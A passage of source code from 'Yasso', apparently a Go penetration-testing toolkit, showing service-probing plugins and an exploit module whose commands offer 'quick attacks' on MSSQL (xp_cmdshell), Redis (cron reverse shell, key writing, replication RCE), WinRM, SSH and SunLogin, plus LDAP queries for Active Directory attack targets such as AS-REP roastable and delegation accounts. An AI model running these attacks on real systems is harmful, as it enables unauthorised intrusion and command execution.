err = conn.Write([]byte(msg)) 116 | if err != nil { 117 | return nil, err 118 | } 119 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) 120 | reply = make([]byte, 256) 121 | _, _ = conn.Read(reply) 122 | if conn != nil { 123 | _ = conn.Close() 124 | } 125 | return reply, nil 126 | } 127 | -------------------------------------------------------------------------------- /core/plugin/winrm.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "fmt" 6 | "github.com/masterzen/winrm" 7 | "net" 8 | "os" 9 | ) 10 | 11 | func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) { 12 | var err error 13 | params := winrm.DefaultParameters 14 | // 设置代理认证 15 | params.Dial = func(network, addr string) (net.Conn, error) { 16 | return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 17 | } 18 | // 设置输入 19 | endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0) 20 | client, err := winrm.NewClientWithParameters(endpoint, user, pass, params) 21 | stdout := os.Stdout 22 | res, err := client.Run("echo ISOK > nul", stdout, os.Stderr) 23 | if err != nil { 24 | return nil, false, err 25 | } 26 | if res == 0 && err == nil { 27 | return client, true, nil 28 | } 29 | return nil, false, err 30 | } 31 | -------------------------------------------------------------------------------- /core/plugin/zookeeper.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "bytes" 7 | "fmt" 8 | "net" 9 | ) 10 | 11 | func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) { 12 | payload := []byte("envidddfdsfsafafaerwrwerqwe") 13 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 14 | if err != nil { 15 | return false, err 16 | } 17 | _, err = conn.Write(payload) 18 | if err == nil { 19 | reply := make([]byte, 1024) 20 | n, err := conn.Read(reply) 21 | if err == nil { 22 | if bytes.Contains(reply[:n], []byte("Environment")) { 23 | logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port))) 24 | return true, nil 25 | } 26 | } 27 | } 28 | return false, err 29 | } 30 | -------------------------------------------------------------------------------- /core/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | func ByteToStringParse(p []byte) string { 10 | var w []string 11 | var res string 12 | for i := 0; i < len(p); i++ { 13 | if p[i] > 32 && p[i] < 127 { 14 | w = append(w, string(p[i])) 15 | continue 16 | } 17 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) 18 | w = append(w, asciiTo16) 19 | } 20 | res = strings.Join(w, "") 21 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { 22 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") 23 | return s[0] 24 | } 25 | return res 26 | } 27 | -------------------------------------------------------------------------------- /example.txt: -------------------------------------------------------------------------------- 1 | 192.168.1.1/24 2 | www.baidu.com 3 | 192.168.248.1-13 4 | sairson.cn 5 | 1ight.top/123456 -------------------------------------------------------------------------------- /example/tcp_ssh_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "fmt" 7 | "net" 8 | "regexp" 9 | "strings" 10 | "testing" 11 | "time" 12 | ) 13 | 14 | func TcpProtocol(host string, port int, timeout time.Duration) ([]byte, error) { 15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout)) 16 | if err != nil { 17 | return nil, err 18 | } 19 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) 20 | reply := make([]byte, 256) 21 | _, err = conn.Read(reply) 22 | 23 | var buffer [256]byte 24 | if err == nil && bytes.Equal(reply[:], buffer[:]) == false { 25 | if conn != nil { 26 | _ = conn.Close() 27 | } 28 | return reply, nil 29 | } 30 | conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout)) 31 | if err != nil { 32 | return nil, err 33 | } 34 | msg := "GET /test HTTP/1.1\r\n\r\n" 35 | _, err = conn.Write([]byte(msg)) 36 | if err != nil { 37 | return nil, err 38 | } 39 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) 40 | reply = make([]byte, 256) 41 | _, _ = conn.Read(reply) 42 | if conn != nil { 43 | _ = conn.Close() 44 | } 45 | return reply, nil 46 | } 47 | func ByteToStringParse1(p []byte) string { 48 | var w []string 49 | var res string 50 | for i := 0; i < len(p); i++ { 51 | if p[i] > 32 && p[i] < 127 { 52 | w = append(w, string(p[i])) 53 | continue 54 | } 55 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) 56 | w = append(w, asciiTo16) 57 | } 58 | res = strings.Join(w, "") 59 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { 60 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") 61 | return s[0] 62 | } 63 | return res 64 | } 65 | func Test1(test *testing.T) { 66 | buff, err := TcpProtocol("192.168.248.203", 22, 1*time.Second) 67 | if err != nil { 68 | fmt.Println(err) 69 | } 70 | ok, _ := regexp.Match(`^SSH.\d`, buff) 71 | str := ByteToStringParse1(buff) 72 | fmt.Println(ok, str) 73 | if ok { 74 | fmt.Println(strings.Split(str, "\\x0d\\x0a")[0]) 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module Yasso 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/audibleblink/bamflags v1.0.0 7 | github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37 8 | github.com/denisenkom/go-mssqldb v0.12.0 9 | github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534 10 | github.com/go-redis/redis/v8 v8.11.5 11 | github.com/go-rod/rod v0.107.0 12 | github.com/go-sql-driver/mysql v1.6.0 13 | github.com/gookit/color v1.5.0 14 | github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 15 | github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 16 | github.com/jedib0t/go-pretty/v6 v6.3.1 17 | github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78 18 | github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 19 | github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e 20 | github.com/projectdiscovery/cdncheck v0.0.3 21 | github.com/spf13/cobra v1.4.0 22 | github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 23 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 24 | golang.org/x/text v0.3.7 25 | gopkg.in/ldap.v2 v2.5.1 26 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 27 | ) 28 | 29 | require ( 30 | github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e // indirect 31 | github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect 32 | github.com/cespare/xxhash/v2 v2.1.2 // indirect 33 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect 34 | github.com/gofrs/uuid v4.2.0+incompatible // indirect 35 | github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect 36 | github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 // indirect 37 | github.com/google/uuid v1.2.0 // indirect 38 | github.com/hashicorp/errwrap v1.0.0 // indirect 39 | github.com/hashicorp/go-multierror v1.1.1 // indirect 40 | github.com/hashicorp/go-uuid v1.0.2 // indirect 41 | github.com/inconshreveable/mousetrap v1.0.0 // indirect 42 | github.com/jcmturner/aescts/v2 v2.0.0 // indirect 43 | github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect 44 | github.com/jcmturner/gofork v1.0.0 // indirect 45 | github.com/jcmturner/goidentity/v6 v6.0.1 // indirect 46 | github.com/jcmturner/gokrb5/v8 v8.4.2 // indirect 47 | github.com/jcmturner/rpc/v2 v2.0.3 // indirect 48 | github.com/json-iterator/go v1.1.12 // indirect 49 | github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect 50 | github.com/mattn/go-runewidth v0.0.13 // indirect 51 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 52 | github.com/modern-go/reflect2 v1.0.2 // indirect 53 | github.com/rivo/uniseg v0.2.0 // indirect 54 | github.com/spf13/pflag v1.0.5 // indirect 55 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect 56 | github.com/yl2chen/cidranger v1.0.2 // indirect 57 | github.com/ysmood/goob v0.4.0 // indirect 58 | github.com/ysmood/gson v0.7.1 // indirect 59 | github.com/ysmood/leakless v0.7.0 // indirect 60 | golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect 61 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect 62 | golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect 63 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect 64 | gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d // indirect 65 | ) 66 | 67 | replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 68 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "Yasso/cmd" 4 | 5 | func main() { 6 | cmd.Execute() 7 | } 8 | -------------------------------------------------------------------------------- /pkg/exploit/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // Exploits exp结构体 4 | type Exploits struct { 5 | Hostname string // 地址 6 | Port int // 端口 7 | User string // 连接用的用户名 8 | Pass string // 连接用的密码 9 | } 10 | -------------------------------------------------------------------------------- /pkg/exploit/config/tools.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "database/sql" 5 | ) 6 | 7 | type Results struct { 8 | Columns []string 9 | Rows [][]string 10 | } 11 | 12 | func SQLExecute(db *sql.DB, q string) (*Results, error) { 13 | if q == "" { 14 | return nil, nil 15 | } 16 | rows, err := db.Query(q) 17 | //rows, err := db.Query(q) 18 | if err != nil { 19 | return nil, err 20 | } 21 | columns, err := rows.Columns() 22 | if err != nil { 23 | return nil, err 24 | } 25 | 26 | var results [][]string 27 | for rows.Next() { 28 | rs := make([]sql.NullString, len(columns)) 29 | rsp := make([]interface{}, len(columns)) 30 | for i := range rs { 31 | rsp[i] = &rs[i] 32 | } 33 | if err = rows.Scan(rsp...); err != nil { 34 | break 35 | } 36 | 37 | _rs := make([]string, len(columns)) 38 | for i := range rs { 39 | _rs[i] = rs[i].String 40 | } 41 | results = append(results, _rs) 42 | } 43 | if closeErr := rows.Close(); closeErr != nil { 44 | return nil, closeErr 45 | } 46 | if err != nil { 47 | return nil, err 48 | } 49 | if err := rows.Err(); err != nil { 50 | return nil, err 51 | } 52 | return &Results{ 53 | Columns: columns, 54 | Rows: results, 55 | }, nil 56 | } 57 | -------------------------------------------------------------------------------- /pkg/exploit/exploit.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "Yasso/pkg/exploit/config" 6 | "Yasso/pkg/exploit/ldap" 7 | "Yasso/pkg/exploit/mssql" 8 | "Yasso/pkg/exploit/redis" 9 | "Yasso/pkg/exploit/ssh" 10 | "Yasso/pkg/exploit/sunlogin" 11 | "Yasso/pkg/exploit/winrm" 12 | "github.com/spf13/cobra" 13 | ) 14 | 15 | type ExpFlags struct { 16 | Hostname string 17 | Port int 18 | User string 19 | Pass string 20 | KeyFile string 21 | Rebound string 22 | Command string 23 | Method int // 每一个Exp的子方法 24 | Listen string // 本地监听地址 25 | SoPath string // so文件路径 26 | Filter string // ldap的过滤器 27 | LdapCmd bool // ldap的查询命令显示 28 | LdapAll bool // 是否自动查询ldap 29 | LdapName string // Ldap的name属性 30 | } 31 | 32 | var mssqlFlag ExpFlags 33 | var MssqlCmd = &cobra.Command{ 34 | Use: "mssql", 35 | Short: "Quick attacks on MSSQL services", 36 | Run: func(cmd *cobra.Command, args []string) { 37 | if mssqlFlag.Hostname == "" { 38 | _ = cmd.Help() 39 | return 40 | } 41 | switch mssqlFlag.Method { 42 | case 1: 43 | mssql.ExploitMssql(config.Exploits{ 44 | Hostname: mssqlFlag.Hostname, 45 | Port: mssqlFlag.Port, 46 | User: mssqlFlag.User, 47 | Pass: mssqlFlag.Pass, 48 | }, 1, mssqlFlag.Command) 49 | case 2: 50 | mssql.ExploitMssql(config.Exploits{ 51 | Hostname: mssqlFlag.Hostname, 52 | Port: mssqlFlag.Port, 53 | User: mssqlFlag.User, 54 | Pass: mssqlFlag.Pass, 55 | }, 2, mssqlFlag.Command) 56 | case 3: 57 | mssql.ExploitMssql(config.Exploits{ 58 | Hostname: mssqlFlag.Hostname, 59 | Port: mssqlFlag.Port, 60 | User: mssqlFlag.User, 61 | Pass: mssqlFlag.Pass, 62 | }, 3, mssqlFlag.Command) 63 | case 4: 64 | mssql.ExploitMssql(config.Exploits{ 65 | Hostname: mssqlFlag.Hostname, 66 | Port: mssqlFlag.Port, 67 | User: mssqlFlag.User, 68 | Pass: mssqlFlag.Pass, 69 | }, 4, mssqlFlag.Command) 70 | default: 71 | logger.Fatal("not found exploit method") 72 | return 73 | } 74 | }, 75 | } 76 | 77 | var sshFlag ExpFlags 78 | var SshCmd = &cobra.Command{ 79 | Use: "ssh", 80 | Short: "Quick attacks on SSH services", 81 | Run: func(cmd *cobra.Command, args []string) { 82 | if sshFlag.Hostname == "" { 83 | _ = cmd.Help() 84 | return 85 | } 86 | ssh.ExploitSSH(config.Exploits{ 87 | Hostname: sshFlag.Hostname, 88 | Port: sshFlag.Port, 89 | User: sshFlag.User, 90 | Pass: sshFlag.Pass, 91 | }, sshFlag.KeyFile) 92 | }, 93 | } 94 | 95 | var winrmFlag ExpFlags 96 | var WinRmCmd = &cobra.Command{ 97 | Use: "winrm", 98 | Short: "Quick attacks on WinRM services", 99 | Run: func(cmd *cobra.Command, args []string) { 100 | if winrmFlag.Hostname == "" { 101 | _ = cmd.Help() 102 | return 103 | } 104 | winrm.ExploitWinRM(config.Exploits{ 105 | Hostname: winrmFlag.Hostname, 106 | Port: winrmFlag.Port, 107 | User: winrmFlag.User, 108 | Pass: winrmFlag.Pass, 109 | }, winrmFlag.Command, winrmFlag.Method) 110 | }, 111 | } 112 | 113 | var redisFlag ExpFlags 114 | var RedisCmd = &cobra.Command{ 115 | Use: "redis", 116 | Short: "Quick attacks on Redis services", 117 | Run: func(cmd *cobra.Command, args []string) { 118 | if redisFlag.Hostname == "" { 119 | _ = cmd.Help() 120 | return 121 | } 122 | redis.ExploitRedis(config.Exploits{ 123 | Hostname: redisFlag.Hostname, 124 | Port: redisFlag.Port, 125 | User: "", 126 | Pass: redisFlag.Pass, 127 | }, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "") 128 | }, 129 | } 130 | 131 | var sunLoginFlag ExpFlags 132 | var SunLoginCmd = &cobra.Command{ 133 | Use: "sunlogin", 134 | Short: "Quick attacks on SunLogin services (RCE)", 135 | Run: func(cmd *cobra.Command, args []string) { 136 | if sunLoginFlag.Hostname == "" { 137 | _ = cmd.Help() 138 | return 139 | } 140 | if sunLoginFlag.Port == 0 { 141 | logger.Fatal("input sunlogin port") 142 | return 143 | } else { 144 | sunlogin.ExploitSunLogin(config.Exploits{ 145 | Hostname: sunLoginFlag.Hostname, 146 | Port: sunLoginFlag.Port, 147 | User: "", 148 | Pass: "", 149 | }, sunLoginFlag.Command) 150 | } 151 | }, 152 | } 153 | 154 | var LdapReaperFlag ExpFlags 155 | 156 | var LdapReaperCmd = &cobra.Command{ 157 | Use: "ldap", 158 | Short: "ldap single query with filter and fast automatic query", 159 | Run: func(cmd *cobra.Command, args []string) { 160 | if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" { 161 | _ = cmd.Help() 162 | return 163 | } 164 | if LdapReaperFlag.LdapCmd == true { 165 | ldap.ListLdapCommand() 166 | return 167 | } else { 168 | if LdapReaperFlag.Command != "" { 169 | LdapReaperFlag.LdapAll = false 170 | } 171 | ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll) 172 | } 173 | }, 174 | } 175 | 176 | func init() { 177 | MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址") 178 | MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令") 179 | MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口") 180 | MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名") 181 | MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码") 182 | MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]") 183 | SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址") 184 | SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥") 185 | SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名") 186 | SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码") 187 | SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口") 188 | RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址") 189 | RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址") 190 | RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径") 191 | RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听") 192 | RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码") 193 | RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径") 194 | RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口") 195 | RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]") 196 | WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机") 197 | WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户") 198 | WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码") 199 | WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令") 200 | WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口") 201 | WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]") 202 | SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址") 203 | SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口") 204 | SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令") 205 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)") 206 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]") 207 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码") 208 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data") 209 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看") 210 | LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令") 211 | LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)") 212 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称") 213 | } 214 | -------------------------------------------------------------------------------- /pkg/exploit/ldap/core/filter/filter.go: -------------------------------------------------------------------------------- 1 | package filter 2 | 3 | import "strings" 4 | 5 | // LdapFilter ldap过滤器 6 | func LdapFilter(needle string, filterDN string) string { 7 | return strings.Replace(filterDN, "{username}", needle, -1) 8 | } 9 | -------------------------------------------------------------------------------- /pkg/exploit/ldap/core/query/flags.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | var PwdFlags = map[int]string{ 4 | 0x01: "PASSWORD_COMPLEX", 5 | 0x02: "PASSWORD_NO_ANON_CHANGE", 6 | 0x04: "PASSWORD_NO_CLEAR_CHANGE", 7 | 0x08: "LOCKOUT_ADMINS", 8 | 0x10: "PASSWORD_STORE_CLEARTEXT", 9 | 0x20: "REFUSE_PASSWORD_CHANGE", 10 | } 11 | 12 | var UacFlags = map[int]string{ 13 | 0x00000002: "ACCOUNT_DISABLED", 14 | 0x00000010: "ACCOUNT_LOCKED", 15 | 0x00000020: "PASSWD_NOTREQD", 16 | 0x00000040: "PASSWD_CANT_CHANGE", 17 | 0x00000080: "PASSWORD_STORE_CLEARTEXT", 18 | 0x00000200: "NORMAL_ACCOUNT", 19 | 0x00001000: "WORKSTATION_ACCOUNT", 20 | 0x00002000: "SERVER_TRUST_ACCOUNT", 21 | 0x00010000: "DONT_EXPIRE_PASSWD", 22 | 0x00040000: "SMARTCARD_REQUIRED", 23 | 0x00080000: "TRUSTED_FOR_DELEGATION", 24 | 0x00100000: "NOT_DELEGATED", 25 | 0x00200000: "USE_DES_KEY_ONLY", 26 | 0x00400000: "DONT_REQ_PREAUTH", 27 | 0x00800000: "PASSWORD_EXPIRED", 28 | 0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION", 29 | 0x04000000: "PARTIAL_SECRETS_ACCOUNT", 30 | } 31 | 32 | var SamType = map[int64]string{ 33 | 0x0: "SAM_DOMAIN_OBJECT", 34 | 0x10000000: "SAM_GROUP_OBJECT", 35 | 0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT", 36 | 0x20000000: "SAM_ALIAS_OBJECT", 37 | 0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT", 38 | 0x30000000: "SAM_USER_OBJECT", 39 | 0x30000001: "SAM_MACHINE_ACCOUNT", 40 | 0x30000002: "SAM_TRUST_ACCOUNT", 41 | 0x40000000: "SAM_APP_BASIC_GROUP", 42 | 0x40000001: "SAM_APP_QUERY_GROUP", 43 | 0x7fffffff: "SAM_ACCOUNT_TYPE_MAX", 44 | } 45 | 46 | var Trust = map[int]string{ 47 | 0x00000001: "NON_TRANSITIVE", 48 | 0x00000002: "UPLEVEL_ONLY", 49 | 0x00000004: "QUARANTINED_DOMAIN", 50 | 0x00000008: "FOREST_TRANSITIVE", 51 | 0x00000010: "CROSS_ORGANIZATION", 52 | 0x00000020: "WITHIN_FOREST", 53 | 0x00000040: "TREAT_AS_EXTERNAL", 54 | 0x00000080: "USES_RC4_ENCRYPTION", 55 | 0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION", 56 | 0x00000400: "PIM_TRUST", 57 | 0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION", 58 | } 59 | var TrustDirections = map[int]string{ 60 | 0x01: "INBOUND", 61 | 0x02: "OUTBOUND", 62 | 0x03: "BIDIRECTIONAL", 63 | } 64 | 65 | var TrustType = map[int]string{ 66 | 0x01: "DOWNLEVEL", 67 | 0x02: "UPLEVEL", 68 | 0x03: "MIT", 69 | } 70 | -------------------------------------------------------------------------------- /pkg/exploit/ldap/core/query/object.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | // LdapQueries ldap的查询字符串 4 | var LdapQueries = map[string]string{ 5 | "users": "(objectClass=user)", 6 | "groups": "(objectClass=group)", 7 | "computers": "(objectClass=Computer)", 8 | "dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", 9 | "gpo": "(objectClass=groupPolicyContainer)", 10 | "spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", 11 | "unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))", 12 | "unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", 13 | "ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))", 14 | "never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))", 15 | "admin-priv": "(adminCount=1)", 16 | "domain-trust": "(objectClass=trustedDomain)", 17 | "ou": "(&(objectCategory=organizationalUnit)(ou=*))", 18 | "group-members": "(&(objectCategory=user)(memberOf={DN}))", 19 | "specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))", 20 | "specific-computers": "(&(objectClass=Computer)(cn={SAM}))", 21 | "specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))", 22 | "specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", 23 | "specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))", 24 | "asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))", 25 | "unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))", 26 | } 27 | 28 | var ldapCommands = map[string]string{ 29 | "users": "Users", 30 | "user-logs": "User Properties", 31 | "groups": "Groups", 32 | "computers": "Computers", 33 | "dc": "Domain Controllers", 34 | "gpo": "Group Policy Objects", 35 | "spn": "Service Principal Names", 36 | "never-loggedon": "Users Never LoggedOn", 37 | "ms-sql": "MS-SQL Servers", 38 | "admin-priv": "Admin Priv", 39 | "domain-trust": "Trusted Domain", 40 | "ou": "Organizational Units", 41 | "asreproast": "AS-REP Roastable Accounts", 42 | "unconstrained": "Unconstrained Delegation", 43 | } 44 | 45 | var LdapCommandAndFilter = map[string]string{ 46 | "users": "full-data", 47 | "user-logs": "", 48 | "groups": "full-data", 49 | "computers": "full-data", 50 | "dc": "", 51 | "gpo": "", 52 | "spn": "", 53 | "never-loggedon": "", 54 | "ms-sql": "full-data", 55 | "admin-priv": "", 56 | "domain-trust": "", 57 | "ou": "", 58 | "asreproast": "", 59 | "unconstrained": "", 60 | } 61 | -------------------------------------------------------------------------------- /pkg/exploit/ldap/core/query/query.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "github.com/jedib0t/go-pretty/v6/table" 6 | "gopkg.in/ldap.v2" 7 | "os" 8 | ) 9 | 10 | type Server struct { 11 | LdapServer string // dc地址 12 | LdapUser string // 用户名(域用户即可) 13 | LdapPassword string // 密码 14 | } 15 | 16 | // ldap的连接函数 17 | func (s *Server) ldapConn() (*ldap.Conn, bool, error) { 18 | conn, err := ldap.Dial("tcp", s.LdapServer) 19 | if err != nil { 20 | return nil, false, err 21 | } 22 | if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil { 23 | return nil, false, err 24 | } 25 | return conn, true, nil 26 | } 27 | 28 | func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) { 29 | server := Server{ 30 | LdapServer: dc, 31 | LdapPassword: pass, 32 | LdapUser: user, 33 | } 34 | conn, flag, err := server.ldapConn() 35 | defer conn.Close() 36 | if flag == false || err != nil { 37 | logger.Fatal("ldap server connect failed") 38 | return 39 | } 40 | if all == true { 41 | // 查询全部ldap并采用full-data过滤器 42 | for i, f := range LdapCommandAndFilter { 43 | err := LdapQuery(conn, baseDN, i, f, name) 44 | if err != nil { 45 | logger.Fatal(err.Error()) 46 | return 47 | } 48 | } 49 | } else { 50 | err := LdapQuery(conn, baseDN, command, filter, name) 51 | if err != nil { 52 | logger.Fatal(err.Error()) 53 | return 54 | } 55 | } 56 | } 57 | 58 | // LdapQuery 传入baseDN, 59 | func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error { 60 | t := table.NewWriter() 61 | t.SetOutputMirror(os.Stdout) 62 | t.AppendHeader(table.Row{ldapCommands[command]}) 63 | t.SetColumnConfigs([]table.ColumnConfig{ 64 | { 65 | Name: ldapCommands[command], 66 | WidthMin: 20, 67 | WidthMax: 100, 68 | }, 69 | }) 70 | if command == "users" && filter == "list" && name == "" { 71 | if err := LdapListResolver(t, conn, baseDN, command); err != nil 